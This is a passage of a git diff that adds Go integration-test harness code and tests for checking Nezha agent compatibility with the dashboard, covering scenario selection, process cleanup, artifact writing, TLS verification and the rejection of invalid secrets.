scenario junit: %w", err) + } + if err := writePrivateFile(filepath.Join(config.Paths.ResultsDir().String(), "junit.xml"), junit); err != nil { + return fmt.Errorf("write scenario junit: %w", err) + } + cleanup := struct { + Passed bool `json:"passed"` + Scenario string `json:"scenario"` + FinishedAt string `json:"finished_at"` + }{Passed: result.CleanupOK, Scenario: result.Name, FinishedAt: now.UTC().Format(time.RFC3339)} + return writeJSONArtifact(config.Paths.ResultsDir().String(), "cleanup.json", cleanup) +} + +func writeJSONArtifact(resultsDir, name string, artifact any) error { + data, err := json.MarshalIndent(artifact, "", " ") + if err != nil { + return fmt.Errorf("marshal %s: %w", name, err) + } + if redacted := evidence.Redact(string(data)); redacted != string(data) { + return fmt.Errorf("credential detected while marshaling %s", name) + } + if err := writePrivateFile(filepath.Join(resultsDir, name), data); err != nil { + return fmt.Errorf("write %s: %w", name, err) + } + return nil +} + +func writePrivateFile(path string, data []byte) error { + return writePrivateArtifact(path, data) +} + +func allAssertionsPassed(assertions []scenario.Assertion) bool { + for _, assertion := range assertions { + if !assertion.Passed { + return false + } + } + return true +} diff --git a/integration/agentcompat/cmd/agentcompat/scenario_execution.go b/integration/agentcompat/cmd/agentcompat/scenario_execution.go new file mode 100644 index 00000000..6746cdbd --- /dev/null +++ b/integration/agentcompat/cmd/agentcompat/scenario_execution.go @@ -0,0 +1,117 @@ +//go:build linux + +package main + +import ( + "context" + "errors" + + "github.com/nezhahq/nezha/integration/agentcompat/internal/contract" + "github.com/nezhahq/nezha/integration/agentcompat/internal/scenario" +) + +type scenarioExecutionOutput struct { + Result scenario.Result + Transfer *scenario.TransferEvidence + Reconnect *scenario.ReconnectEvidence +} + +func (output scenarioExecutionOutput) Validate() error { + if output.Result.Name == "" { + return errors.New("scenario execution result is missing") + } + dedicatedCount := 0 + if output.Transfer != nil { + dedicatedCount++ + } + if output.Reconnect != nil { + dedicatedCount++ + } + switch output.Result.Name { + case contract.ScenarioTransfer100MiB: + if dedicatedCount != 1 || output.Transfer == nil { + return errors.New("transfer execution requires only transfer evidence") + } + case contract.ScenarioReconnect: + if dedicatedCount != 1 || output.Reconnect == nil { + return errors.New("reconnect execution requires only reconnect evidence") + } + default: + if dedicatedCount != 0 { + return errors.New("scenario execution has mismatched dedicated evidence") + } + } + return nil +} + +type scenarioExecution struct { + name string + run func(context.Context) (scenarioExecutionOutput, error) +} + +var ( + runRegistrationConfigExecScenario = (scenario.RegistrationConfigExec{}).Run + runNATScenario = (scenario.NAT{}).Run + runLegacyFMScenario = (scenario.LegacyFM{}).Run + runTerminalScenario = (scenario.Terminal{}).Run + runMCPFilesystemScenario = (scenario.MCPFilesystem{}).Run + runTransferScenario = (scenario.Transfer{}).RunWithEvidence + runReconnectScenario = (scenario.Reconnect{}).RunWithEvidence +) + +func selectScenarioExecution(config cliConfig) (scenarioExecution, error) { + if len(config.Scenarios) != 1 { + return scenarioExecution{}, errors.New("runtime execution requires exactly one --scenario") + } + selected := config.Scenarios[0] + if err := contract.ValidateScenarioFault(selected, config.Fault); err != nil { + return scenarioExecution{}, err + } + definition, err := contract.ScenarioDefinitionByName(selected.String()) + if err != nil { + return scenarioExecution{}, err + } + switch definition.Execution { + case contract.ScenarioExecutionMetadata: + return scenarioExecution{}, errors.New("metadata scenario does not have a runtime execution") + case contract.ScenarioExecutionRegistrationConfigExec: + return standardExecution(selected.String(), func(ctx context.Context) (scenario.Result, error) { + return runRegistrationConfigExecScenario(ctx, scenario.RegistrationConfigExecInput{Paths: config.Paths, Fault: config.Fault}) + }), nil + case contract.ScenarioExecutionNAT: + return standardExecution(selected.String(), func(ctx context.Context) (scenario.Result, error) { + return runNATScenario(ctx, scenario.NATInput{Paths: config.Paths, Fault: config.Fault}) + }), nil + case contract.ScenarioExecutionLegacyFM: + return standardExecution(selected.String(), func(ctx context.Context) (scenario.Result, error) { + return runLegacyFMScenario(ctx, scenario.LegacyFMInput{Paths: config.Paths, Fault: config.Fault}) + }), nil + case contract.ScenarioExecutionTerminal: + return standardExecution(selected.String(), func(ctx context.Context) (scenario.Result, error) { + return runTerminalScenario(ctx, scenario.TerminalInput{Paths: config.Paths, Fault: config.Fault}) + }), nil + case contract.ScenarioExecutionMCPFilesystem: + return standardExecution(selected.String(), func(ctx context.Context) (scenario.Result, error) { + return runMCPFilesystemScenario(ctx, scenario.MCPFilesystemInput{Paths: config.Paths}) + }), nil + case contract.ScenarioExecutionTransfer: + return scenarioExecution{name: selected.String(), run: func(ctx context.Context) (scenarioExecutionOutput, error) { + result, transferEvidence, err := runTransferScenario(ctx, scenario.TransferInput{Paths: config.Paths, Fault: config.Fault}) + return scenarioExecutionOutput{Result: result, Transfer: &transferEvidence}, err + }}, nil + case contract.ScenarioExecutionReconnect: + return scenarioExecution{name: selected.String(), run: func(ctx context.Context) (scenarioExecutionOutput, error) { + result, reconnectEvidence, err := runReconnectScenario(ctx, scenario.ReconnectInput{Paths: config.Paths, DashboardFault: config.Fault.String()}) + return scenarioExecutionOutput{Result: result, Reconnect: &reconnectEvidence}, err + }}, nil + default: + return scenarioExecution{}, errors.New("runtime execution is not implemented for the selected scenario") + } +} + +func standardExecution(name string, run func(context.Context) (scenario.Result, error)) scenarioExecution { + return scenarioExecution{name: name, run: func(ctx context.Context) (scenarioExecutionOutput, error) { + result, err := run(ctx) + return scenarioExecutionOutput{Result: result}, err + }} +} diff --git a/integration/agentcompat/cmd/agentcompat/stale_artifact_test.go b/integration/agentcompat/cmd/agentcompat/stale_artifact_test.go new file mode 100644 index 00000000..6c8fa872 --- /dev/null +++ b/integration/agentcompat/cmd/agentcompat/stale_artifact_test.go @@ -0,0 +1,97 @@ +//go:build linux + +package main + +import ( + "bytes" + "os" + "path/filepath" + "testing" + "time" + + "github.com/nezhahq/nezha/integration/agentcompat/internal/evidence" +) + +func TestCLI_FailedGenerationRemovesPriorEvidence(t *testing.T) { + resultsDir := t.TempDir() + seedStaleEvidence(t, resultsDir) + var stdout, stderr bytes.Buffer + if err := run([]string{"--nezha-source", "/src/nezha", "--agent-source", "/src/agent", "--profile", "pr-full", "--results-dir", resultsDir, "--scenario", "future-scenario"}, &stdout, &stderr, time.Now()); err == nil { + t.Fatal("unimplemented runtime unexpectedly succeeded") + } + for _, name := range append(evidence.FixedEvidenceFiles()[1:], "agents") { + if _, err := os.Stat(filepath.Join(resultsDir, name)); !os.IsNotExist(err) { + t.Fatalf("stale artifact remains: %s (%v)", name, err) + } + } +} + +func TestCLI_FailedGenerationRemovesPriorEvidenceWhenMetadataIsSymlink(t *testing.T) { + resultsDir := t.TempDir() + target := filepath.Join(t.TempDir(), "metadata-target") + if err := os.WriteFile(target, []byte("old metadata"), 0o600); err != nil { + t.Fatalf("seed metadata target: %v", err) + } + if err := os.Symlink(target, filepath.Join(resultsDir, "metadata.json")); err != nil { + t.Fatalf("create metadata symlink: %v", err) + } + for _, name := range []string{"results.json", "junit.xml"} { + if err := os.WriteFile(filepath.Join(resultsDir, name), []byte("stale success"), 0o600); err != nil { + t.Fatalf("seed stale artifact %s: %v", name, err) + } + } + var stdout, stderr bytes.Buffer + if err := run([]string{"--nezha-source", "/src/nezha", "--agent-source", "/src/agent", "--profile", "pr-full", "--results-dir", resultsDir, "--scenario", "future-scenario"}, &stdout, &stderr, time.Now()); err == nil { + t.Fatal("unimplemented runtime unexpectedly succeeded") + } + metadataInfo, err := os.Lstat(filepath.Join(resultsDir, "metadata.json")) + if err != nil || !metadataInfo.Mode().IsRegular() || metadataInfo.Mode().Perm() != 0o600 { + t.Fatalf("replacement metadata is not a private regular file: mode=%v err=%v", metadataInfo, err) + } + for _, name := range []string{"results.json", "junit.xml"} { + if _, err := os.Stat(filepath.Join(resultsDir, name)); !os.IsNotExist(err) { + t.Fatalf("stale artifact remains after failed invocation: %s (%v)", name, err) + } + } + data, err := os.ReadFile(target) + if err != nil || string(data) != "old metadata" { + t.Fatalf("metadata symlink target changed: %q %v", data, err) + } +} + +func TestCLI_ParseFailureRemovesPriorEvidence(t *testing.T) { + for name, extraArgs := range map[string][]string{ + "invalid profile": {"--profile", "invalid-profile"}, + "invalid seed": {"--profile", "pr-full", "--seed", "invalid-seed"}, + } { + t.Run(name, func(t *testing.T) { + resultsDir := t.TempDir() + seedStaleEvidence(t, resultsDir) + args := append([]string{"--nezha-source", "/src/nezha", "--agent-source", "/src/agent", "--results-dir", resultsDir}, extraArgs...) + var stdout, stderr bytes.Buffer + if err := run(args, &stdout, &stderr, time.Now()); err == nil { + t.Fatal("invalid CLI input unexpectedly succeeded") + } + for _, artifact := range evidence.FixedEvidenceFiles()[1:] { + if _, err := os.Stat(filepath.Join(resultsDir, artifact)); !os.IsNotExist(err) { + t.Fatalf("stale artifact remains after parse failure: %s (%v)", artifact, err) + } + } + }) + } +} + +func seedStaleEvidence(t *testing.T, resultsDir string) { + t.Helper() + for _, name := range evidence.FixedEvidenceFiles()[1:] { + if err := os.WriteFile(filepath.Join(resultsDir, name), []byte("stale success"), 0o600); err != nil { + t.Fatalf("seed stale artifact %s: %v", name, err) + } + } + if err := os.Mkdir(filepath.Join(resultsDir, "agents"), 0o700); err != nil { + t.Fatalf("create stale agents directory: %v", err) + } + if err := os.WriteFile(filepath.Join(resultsDir, "agents", "old.log"), []byte("old success"), 0o600); err != nil { + t.Fatalf("seed stale agent log: %v", err) + } +} diff --git a/integration/agentcompat/internal/agent/adversarial_test.go b/integration/agentcompat/internal/agent/adversarial_test.go new file mode 100644 index 00000000..e487b321 --- /dev/null +++ b/integration/agentcompat/internal/agent/adversarial_test.go @@ -0,0 +1,59 @@ +//go:build linux && agentcompat + +package agent + +import ( + "context" + "os" + "path/filepath" + "testing" + "time" + + "github.com/stretchr/testify/require" +) + +func TestAgent_RejectsMalformedStartWithoutWorkspaceArtifact(t *testing.T) { + // Given + parent := t.TempDir() + t.Setenv("TMPDIR", parent) + + // When + _, err := Start(t.Context(), AgentStartConfig{SourceDir: filepath.Join(parent, "missing"), Endpoint: "127.0.0.1:1", UUID: "bad"}) + + // Then + require.Error(t, err) + entries, readErr := os.ReadDir(parent) + require.NoError(t, readErr) + require.Empty(t, entries) +} + +func TestAgent_ContextInterruptionCleansWorkspace(t *testing.T) { + // Given + processContext, interrupt := context.WithCancel(t.Context()) + dashboardInstance := startTestDashboard(t, false) + agentInstance, err := Start(processContext, AgentStartConfig{ + SourceDir: testAgentSourceDir(t), + Endpoint: dashboardInstance.Endpoint(), + Secret: dashboardInstance.AgentSecret(), + UUID: "00000000-0000-0000-0000-000000000085", + }) + require.NoError(t, err) + t.Cleanup(func() { + cleanupContext, cancel := context.WithTimeout(context.Background(), 15*time.Second) + defer cancel() + require.NoError(t, agentInstance.Stop(cleanupContext)) + }) + root := agentInstance.WorkspaceRoot() + + // When + interrupt() + + // Then + select { + case <-agentInstance.CleanupDone(): + case <-time.After(30 * time.Second): + t.Fatal("agent cleanup did not complete") + } + _, err = os.Stat(root) + require.ErrorIs(t, err, os.ErrNotExist) +} diff --git a/integration/agentcompat/internal/agent/agent.go b/integration/agentcompat/internal/agent/agent.go new file mode 100644 index 00000000..b6c242fb --- /dev/null +++ b/integration/agentcompat/internal/agent/agent.go @@ -0,0 +1,240 @@ +//go:build linux + +package agent + +import ( + "context" + "errors" + "fmt" + "os" + "path/filepath" + "strings" + "sync" + "syscall" + "time" + + "github.com/nezhahq/nezha/integration/agentcompat/internal/dashboard" + processharness "github.com/nezhahq/nezha/integration/agentcompat/internal/process" + "github.com/nezhahq/nezha/integration/agentcompat/internal/workspace" +) + +const ( + agentSecret = "0123456789abcdef0123456789abcdef" + agentMaxLogBytes = 1 << 20 + agentStopTimeout = 5 * time.Second + agentKillTimeout = 5 * time.Second +) + +type AgentStartConfig struct { + SourceDir string + PreparedBinary *PreparedBinary + Endpoint string + Secret string + UUID string + TLS bool + Debug bool + SkipConnectionCount bool + CAFilePath string + FMObserverRunID string + Credential *syscall.Credential + newSupervisor func(context.Context, processharness.Spec) *processharness.Supervisor + trackPID func(int) error + trackProcessGroup func(int) error +} + +type AgentStartError struct { + cause error + agent *Agent +} + +func (err *AgentStartError) Error() string { return err.cause.Error() } +func (err *AgentStartError) Unwrap() error { return err.cause } +func (err *AgentStartError) Finalize(ctx context.Context) error { + return err.agent.Stop(ctx) +} + +type Agent struct { + workspace *workspace.Workspace + supervisor *processharness.Supervisor + clients dashboard.Clients + configPath string + logPath string + binaryPath string + caFilePath string + environment []string + secret string + uuid string + releaseBinary func() + releasePending bool + cleanupOnce sync.Once + cleanupDone chan struct{} + cleanupAttemptMu sync.Mutex + cleanupMu sync.Mutex + cleanupErr error + readinessMu sync.Mutex + lastStateReport time.Time + fmObserver *FMProducerObserver + fmObserverPath string + startConfig AgentStartConfig + processMu sync.Mutex + currentProcess *processGeneration + processes []*processGeneration + generation uint64 + closed bool + trackPID func(int) error + trackProcessGroup func(int) error +} + +func Start(ctx context.Context, config AgentStartConfig) (*Agent, error) { + if config.PreparedBinary == nil { + if err := validateSourceDir(config.SourceDir); err != nil { + return nil, err + } + } + if config.Endpoint == "" || config.UUID == "" { + return nil, errors.New("agent endpoint and UUID are required") + } + if config.Secret == "" { + config.Secret = agentSecret + } + workspaceRoot, err := workspace.New(context.WithoutCancel(ctx)) + if err != nil { + return nil, fmt.Errorf("create agent workspace: %w", err) + } + trackPID := workspaceRoot.TrackPID + if config.trackPID != nil { + trackPID = config.trackPID + } + trackProcessGroup := workspaceRoot.TrackProcessGroup + if config.trackProcessGroup != nil { + trackProcessGroup = config.trackProcessGroup + } + agent := &Agent{workspace: workspaceRoot, secret: config.Secret, uuid: config.UUID, cleanupDone: make(chan struct{}), startConfig: config, trackPID: trackPID, trackProcessGroup: trackProcessGroup} + if err := agent.prepareFixture(ctx, config); err != nil { + return nil, cleanupFailedStart(ctx, agent, err) + } + if _, err := agent.StartProcess(ctx); err != nil { + return nil, cleanupFailedStart(ctx, agent, err) + } + go agent.cleanupOnCancellation(ctx) + return agent, nil +} + +func validateSourceDir(sourceDir string) error { + if sourceDir == "" || !filepath.IsAbs(sourceDir) { + return errors.New("agent source directory must be absolute") + } + return nil +} + +func cleanupFailedStart(ctx context.Context, agent *Agent, cause error) error { + cleanupContext, cancel := context.WithTimeout(context.WithoutCancel(ctx), 15*time.Second) + defer cancel() + startError := errors.Join(cause, agent.Stop(cleanupContext)) + if agent.finalizationPending() { + // A failed rollback can leave the prepared binary leased until its process group exits. + return &AgentStartError{cause: startError, agent: agent} + } + return startError +} + +func filteredEnvironment() []string { + result := make([]string, 0, len(os.Environ())) + for _, value := range os.Environ() { + if strings.HasPrefix(value, "NZ_") || strings.HasPrefix(value, "SSL_CERT_FILE=") || strings.HasPrefix(value, "AGENTCOMPAT_FM_OBSERVER_") { + continue + } + result = append(result, value) + } + return result +} + +func (agent *Agent) Stop(ctx context.Context) error { + agent.cleanupOnce.Do(func() { go agent.cleanup(context.WithoutCancel(ctx)) }) + select { + case <-agent.cleanupDone: + agent.retryFinalization(ctx) + return agent.cleanupResult() + case <-ctx.Done(): + return ctx.Err() + } +} + +func (agent *Agent) cleanupOnCancellation(ctx context.Context) { + select { + case <-ctx.Done(): + agent.cleanupOnce.Do(func() { go agent.cleanup(context.WithoutCancel(ctx)) }) + case <-agent.cleanupDone: + } +} + +func (agent *Agent) cleanup(ctx context.Context) { + defer close(agent.cleanupDone) + agent.finishCleanup(ctx, true) +} + +func (agent *Agent) finishCleanup(ctx context.Context, closeObserver bool) { + agent.cleanupAttemptMu.Lock() + defer agent.cleanupAttemptMu.Unlock() + cleanupError := agent.closeProcesses(ctx) + if closeObserver && agent.fmObserver != nil { + cleanupError = errors.Join(cleanupError, agent.fmObserver.Close(), removeFMObserverSocket(agent.fmObserverPath)) + } + if err := agent.workspace.Close(); err != nil { + cleanupError = errors.Join(cleanupError, err) + } + // The prepared workspace must outlive every consumer process group, even when process cleanup reports an error. + if agent.releasePending && agent.processesQuiescent() { + agent.releaseBinary() + agent.releasePending = false + } + agent.cleanupMu.Lock() + if agent.cleanupErr == nil { + agent.cleanupErr = cleanupError + } + agent.cleanupMu.Unlock() +} + +func (agent *Agent) retryFinalization(ctx context.Context) { + if agent.finalizationPending() { + agent.finishCleanup(context.WithoutCancel(ctx), false) + } +} + +func (agent *Agent) finalizationPending() bool { + agent.cleanupAttemptMu.Lock() + defer agent.cleanupAttemptMu.Unlock() + return agent.releasePending +} + +func (agent *Agent) cleanupResult() error { + agent.cleanupMu.Lock() + defer agent.cleanupMu.Unlock() + return agent.cleanupErr +} + +func closeError(first, second error) error { return errors.Join(first, second) } +func (agent *Agent) UUID() string { return agent.uuid } +func (agent *Agent) PID() int { + agent.processMu.Lock() + defer agent.processMu.Unlock() + if agent.currentProcess == nil { + return 0 + } + return agent.currentProcess.identity.PID +} +func (agent *Agent) CleanupReceipt() processharness.CleanupReceipt { + agent.processMu.Lock() + defer agent.processMu.Unlock() + records := make([]processharness.CleanupRecord, 0, len(agent.processes)) + for _, process := range agent.processes { + records = append(records, process.record) + } + return processharness.NewCleanupReceipt(records) +} +func (agent *Agent) ConfigPath() string { return agent.configPath } +func (agent *Agent) BinaryPath() string { return agent.binaryPath } +func (agent *Agent) LogPath() string { return agent.logPath } +func (agent *Agent) WorkspaceRoot() string { return agent.workspace.Root() } +func (agent *Agent) CleanupDone() <-chan struct{} { return agent.cleanupDone } +func (agent *Agent) FMProducerObserver() *FMProducerObserver { return agent.fmObserver } diff --git a/integration/agentcompat/internal/agent/agent_test.go b/integration/agentcompat/internal/agent/agent_test.go new file mode 100644 index 00000000..562e3fe4 --- /dev/null +++ b/integration/agentcompat/internal/agent/agent_test.go @@ -0,0 +1,294 @@ +//go:build linux && agentcompat + +package agent + +import ( + "context" + "encoding/json" + "os" + "path/filepath" + "testing" + "time" + + "github.com/stretchr/testify/require" + + "github.com/nezhahq/nezha/integration/agentcompat/internal/client" + "github.com/nezhahq/nezha/integration/agentcompat/internal/dashboard" + "github.com/nezhahq/nezha/integration/agentcompat/internal/fixture" + "github.com/nezhahq/nezha/integration/agentcompat/internal/testpaths" +) + +func TestAgent_BecomesOnlineOverH2C(t *testing.T) { + // Given + dashboardInstance := startTestDashboardWithReceiptGate(t) + agentInstance := startTestAgent(t, dashboardInstance, AgentStartConfig{UUID: "00000000-0000-0000-0000-000000000081"}) + receiptAccepted := make(chan error, 1) + go func() { receiptAccepted <- dashboardInstance.WaitForReceiptAccepted(t.Context()) }() + select { + case err := <-receiptAccepted: + require.NoError(t, err) + case <-time.After(10 * time.Second): + t.Fatal("timed out waiting for withheld state receipt") + } + serverBeforeRelease := requireOnlineServer(t, dashboardInstance, agentInstance.UUID()) + require.NotZero(t, serverBeforeRelease.LastActive) + stateGeneration := dashboardInstance.StateGeneration(serverBeforeRelease.ID, agentInstance.UUID()) + require.NotZero(t, stateGeneration) + require.NoError(t, dashboardInstance.WaitForStateGeneration(t.Context(), serverBeforeRelease.ID, agentInstance.UUID(), stateGeneration, 1)) + stateTwoBeforeRelease, cancelStateTwo := context.WithTimeout(t.Context(), 1500*time.Millisecond) + require.ErrorIs(t, dashboardInstance.WaitForStateGeneration(stateTwoBeforeRelease, serverBeforeRelease.ID, agentInstance.UUID(), stateGeneration, 2), context.DeadlineExceeded) + cancelStateTwo() + require.Equal(t, uint64(1), dashboardInstance.ReceiptAcceptedCount()) + require.NoError(t, dashboardInstance.ReleaseReceipt(t.Context())) + secondState := make(chan error, 1) + go func() { secondState <- dashboardInstance.WaitForSecondState(t.Context()) }() + + // When + readiness, err := agentInstance.WaitReady(t.Context(), dashboardInstance) + + // Then + require.NoError(t, err) + require.NotZero(t, readiness.ServerID) + require.Equal(t, serverBeforeRelease.ID, readiness.ServerID) + require.Equal(t, agentInstance.UUID(), readiness.UUID) + require.Equal(t, "v2.1.0", readiness.Version) + require.True(t, readiness.VersionObserved) + require.True(t, readiness.RequestTaskEstablished) + require.True(t, readiness.StateReceiptObserved) + require.NoError(t, <-secondState) + require.Equal(t, uint64(2), dashboardInstance.ReceiptAcceptedCount()) + require.NoError(t, dashboardInstance.WaitForInfo2(t.Context(), serverBeforeRelease.ID, agentInstance.UUID())) + require.NotNil(t, readiness.Host) + require.NotNil(t, readiness.State) + require.True(t, readiness.Online) +} + +func TestAgent_BecomesOnlineOverVerifiedTLS(t *testing.T) { + // Given + dashboardInstance := startTestDashboard(t, true) + agentInstance := startTestAgent(t, dashboardInstance, AgentStartConfig{ + UUID: "00000000-0000-0000-0000-000000000082", + TLS: true, + CAFilePath: dashboardInstance.TLSCACertificatePath(), + }) + + // When + readiness, err := agentInstance.WaitReady(t.Context(), dashboardInstance) + + // Then + require.NoError(t, err) + require.True(t, readiness.Online) + require.NotNil(t, readiness.Host) + require.NotNil(t, readiness.State) + require.WithinDuration(t, time.Now(), readiness.LastActive, 30*time.Second) + var host struct { + Platform string `json:"platform"` + Version string `json:"version"` + } + require.NoError(t, json.Unmarshal(readiness.Host, &host)) + require.Equal(t, "v2.1.0", host.Version) + require.NotEmpty(t, host.Platform) + var state map[string]json.RawMessage + require.NoError(t, json.Unmarshal(readiness.State, &state)) + require.Contains(t, state, "uptime") +} + +func TestAgent_RejectsUnknownTLSAuthority(t *testing.T) { + // Given + dashboardInstance := startTestDashboard(t, true) + wrongCAPath := filepath.Join(t.TempDir(), "wrong-ca.crt") + wrongFixture, fixtureErr := fixture.NewLocalTLSFixture(time.Now()) + require.NoError(t, fixtureErr) + require.NoError(t, os.WriteFile(wrongCAPath, wrongFixture.CAPEM(), 0o600)) + agentInstance := startTestAgent(t, dashboardInstance, AgentStartConfig{ + UUID: "00000000-0000-0000-0000-000000000086", + TLS: true, + Debug: true, + CAFilePath: wrongCAPath, + }) + + // When + readinessContext, cancel := context.WithTimeout(t.Context(), 8*time.Second) + defer cancel() + _, err := agentInstance.WaitReady(readinessContext, dashboardInstance) + + // Then + require.Error(t, err) + require.ErrorIs(t, err, context.DeadlineExceeded) + logData, logErr := os.ReadFile(agentInstance.LogPath()) + require.NoError(t, logErr) + require.Contains(t, string(logData), "x509: certificate signed by unknown authority") + config, readErr := os.ReadFile(agentInstance.ConfigPath()) + require.NoError(t, readErr) + stopContext, stopCancel := context.WithTimeout(context.Background(), 15*time.Second) + require.NoError(t, agentInstance.Stop(stopContext)) + stopCancel() + require.Contains(t, string(config), "insecure_tls: false") + require.NotContains(t, string(config), "insecure_tls: true") +} + +func TestAgent_AssertNeverOnlineFailsClosedWhenDashboardUnavailable(t *testing.T) { + // Given + dashboardInstance := startTestDashboard(t, false) + agentInstance := startTestAgent(t, dashboardInstance, AgentStartConfig{ + UUID: "00000000-0000-0000-0000-000000000087", + Secret: "wrong-agent-secret", + }) + require.NoError(t, dashboardInstance.Stop(context.Background())) + + // When + err := agentInstance.AssertNeverOnline(t.Context(), dashboardInstance, time.Second) + + // Then + require.Error(t, err) +} + +func TestAgent_RejectsInvalidSecret(t *testing.T) { + // Given + dashboardInstance := startTestDashboard(t, false) + agentInstance := startTestAgent(t, dashboardInstance, AgentStartConfig{ + UUID: "00000000-0000-0000-0000-000000000083", + Secret: "wrong-agent-secret", + }) + + // When + err := agentInstance.AssertNeverOnline(t.Context(), dashboardInstance, 2*time.Second) + + // Then + require.NoError(t, err) + stopContext, cancel := context.WithTimeout(context.Background(), 15*time.Second) + defer cancel() + require.NoError(t, agentInstance.Stop(stopContext)) +} + +func TestAgent_StopsCleanly(t *testing.T) { + // Given + dashboardInstance := startTestDashboard(t, false) + agentInstance := startTestAgent(t, dashboardInstance, AgentStartConfig{UUID: "00000000-0000-0000-0000-000000000084"}) + require.NoError(t, waitForAgentReady(t, agentInstance, dashboardInstance)) + + // When + stopContext, cancel := context.WithTimeout(context.Background(), 15*time.Second) + defer cancel() + err := agentInstance.Stop(stopContext) + + // Then + require.NoError(t, err) + require.True(t, agentInstance.CleanupReceipt().Passed) + require.False(t, agentInstance.CleanupReceipt().Forced) +} + +func TestAgent_StopRemovesAgentFromOnlineOnlyList(t *testing.T) { + // Given + dashboardInstance := startTestDashboard(t, false) + agentInstance := startTestAgent(t, dashboardInstance, AgentStartConfig{UUID: "00000000-0000-0000-0000-000000000088"}) + require.NoError(t, waitForAgentReady(t, agentInstance, dashboardInstance)) + stopContext, cancel := context.WithTimeout(context.Background(), 15*time.Second) + defer cancel() + require.NoError(t, agentInstance.Stop(stopContext)) + + // When + list, err := client.CallTool[serverListArguments, serverListResult]( + t.Context(), dashboardInstance.Clients().MCP, + client.ToolCall[serverListArguments]{Name: "server.list", Arguments: serverListArguments{OnlineOnly: true}}, + ) + + // Then + require.NoError(t, err) + foundOnline := false + for _, server := range list.StructuredContent.Servers { + if server.UUID == agentInstance.UUID() { + foundOnline = true + } + } + require.False(t, foundOnline) +} + +func startTestDashboard(t *testing.T, enableTLS bool) *dashboard.Dashboard { + t.Helper() + sourceDir, err := testpaths.NezhaSource(t.Name()) + require.NoError(t, err) + instance, err := dashboard.Start(t.Context(), dashboard.StartConfig{SourceDir: sourceDir, EnableTLS: enableTLS, ReadinessTimeout: readinessBudget}) + require.NoError(t, err) + t.Cleanup(func() { + cleanupContext, cancel := context.WithTimeout(context.Background(), 15*time.Second) + defer cancel() + require.NoError(t, instance.Stop(cleanupContext)) + }) + return instance +} + +func startTestDashboardWithReceiptGate(t *testing.T) *dashboard.Dashboard { + t.Helper() + sourceDir, err := testpaths.NezhaSource(t.Name()) + require.NoError(t, err) + instance, err := dashboard.Start(t.Context(), dashboard.StartConfig{SourceDir: sourceDir, ReceiptGate: true, ReadinessTimeout: readinessBudget}) + require.NoError(t, err) + t.Cleanup(func() { + cleanupContext, cancel := context.WithTimeout(context.Background(), 15*time.Second) + defer cancel() + require.NoError(t, instance.Stop(cleanupContext)) + }) + return instance +} + +func startTestAgent(t *testing.T, dashboardInstance *dashboard.Dashboard, config AgentStartConfig) *Agent { + t.Helper() + if config.Secret == "" { + config.Secret = dashboardInstance.AgentSecret() + } + if config.TLS { + config.Endpoint = dashboardInstance.TLSEndpoint() + } else { + config.Endpoint = dashboardInstance.Endpoint() + } + instance, err := Start(t.Context(), AgentStartConfig{ + SourceDir: testAgentSourceDir(t), + Endpoint: config.Endpoint, + Secret: config.Secret, + UUID: config.UUID, + TLS: config.TLS, + Debug: config.Debug, + CAFilePath: config.CAFilePath, + }) + require.NoError(t, err) + t.Cleanup(func() { + cleanupContext, cancel := context.WithTimeout(context.Background(), 15*time.Second) + defer cancel() + require.NoError(t, instance.Stop(cleanupContext)) + }) + return instance +} + +func testAgentSourceDir(t *testing.T) string { + t.Helper() + if sourceDir := os.Getenv("AGENT_SOURCE"); sourceDir != "" { + return sourceDir + } + nezhaSource, err := testpaths.NezhaSource(t.Name()) + require.NoError(t, err) + agentSourceDir, err := testpaths.AgentSource(nezhaSource) + require.NoError(t, err) + return agentSourceDir +} + +func requireOnlineServer(t *testing.T, dashboardInstance *dashboard.Dashboard, uuid string) serverListItem { + t.Helper() + list, err := client.CallTool[serverListArguments, serverListResult](t.Context(), dashboardInstance.Clients().MCP, client.ToolCall[serverListArguments]{Name: "server.list", Arguments: serverListArguments{OnlineOnly: true}}) + require.NoError(t, err) + for _, server := range list.StructuredContent.Servers { + if server.UUID == uuid { + return server + } + } + t.Fatalf("server %q is not online", uuid) + return serverListItem{} +} + +func waitForAgentReady(t *testing.T, instance *Agent, dashboardInstance *dashboard.Dashboard) error { + t.Helper() + readinessContext, cancel := context.WithTimeout(t.Context(), readinessBudget) + defer cancel() + _, err := instance.WaitReady(readinessContext, dashboardInstance) + return err +} diff --git a/integration/agentcompat/internal/agent/failed_start_recovery_test.go b/integration/agentcompat/internal/agent/failed_start_recovery_test.go new file mode 100644 index 00000000..3ac1ca16 --- /dev/null +++ b/integration/agentcompat/internal/agent/failed_start_recovery_test.go @@ -0,0 +1,68 @@ +//go:build linux && agentcompat + +package agent + +import ( + "context" + "errors" + "syscall" + "testing" + "time" + + processharness "github.com/nezhahq/nezha/integration/agentcompat/internal/process" + "github.com/stretchr/testify/require" +) + +func TestAgent_StartExposesFinalizerWhenPreparedConsumerSurvivesRollback(t *testing.T) { + prepared, err := PrepareBinary(t.Context(), testAgentSourceDir(t)) + require.NoError(t, err) + trackingErr := errors.New("injected failed-start PID tracking error") + var supervisor *processharness.Supervisor + + instance, startErr := Start(t.Context(), AgentStartConfig{ + PreparedBinary: prepared, + Endpoint: "127.0.0.1:1", + UUID: "00000000-0000-0000-0000-000000000200", + newSupervisor: func(ctx context.Context, spec processharness.Spec) *processharness.Supervisor { + supervisor = processharness.NewSupervisor(ctx, spec) + cancelledContext, cancel := context.WithCancel(ctx) + cancel() + _ = supervisor.Stop(cancelledContext) + require.NoError(t, supervisor.Stop(t.Context())) + return supervisor + }, + trackPID: func(int) error { return trackingErr }, + }) + require.Nil(t, instance) + require.ErrorIs(t, startErr, trackingErr) + require.NotNil(t, supervisor) + pid := supervisor.PID() + processGroupID := supervisor.ProcessGroupID() + t.Cleanup(func() { + _ = syscall.Kill(-processGroupID, syscall.SIGKILL) + select { + case <-supervisor.Exited(): + case <-time.After(5 * time.Second): + } + _ = prepared.Close() + }) + require.NoError(t, syscall.Kill(-processGroupID, 0)) + + var startFailure *AgentStartError + require.ErrorAs(t, startErr, &startFailure) + closeErr := prepared.Close() + var usageErr *PreparedBinaryUsageError + require.ErrorAs(t, closeErr, &usageErr) + require.Equal(t, "has active consumers", usageErr.Reason) + + require.NoError(t, syscall.Kill(-processGroupID, syscall.SIGKILL)) + select { + case <-supervisor.Exited(): + case <-time.After(5 * time.Second): + t.Fatalf("failed-start consumer PID %d was not reaped", pid) + } + require.ErrorIs(t, syscall.Kill(-processGroupID, 0), syscall.ESRCH) + require.NoError(t, startFailure.Finalize(t.Context())) + require.NoError(t, startFailure.Finalize(t.Context())) + 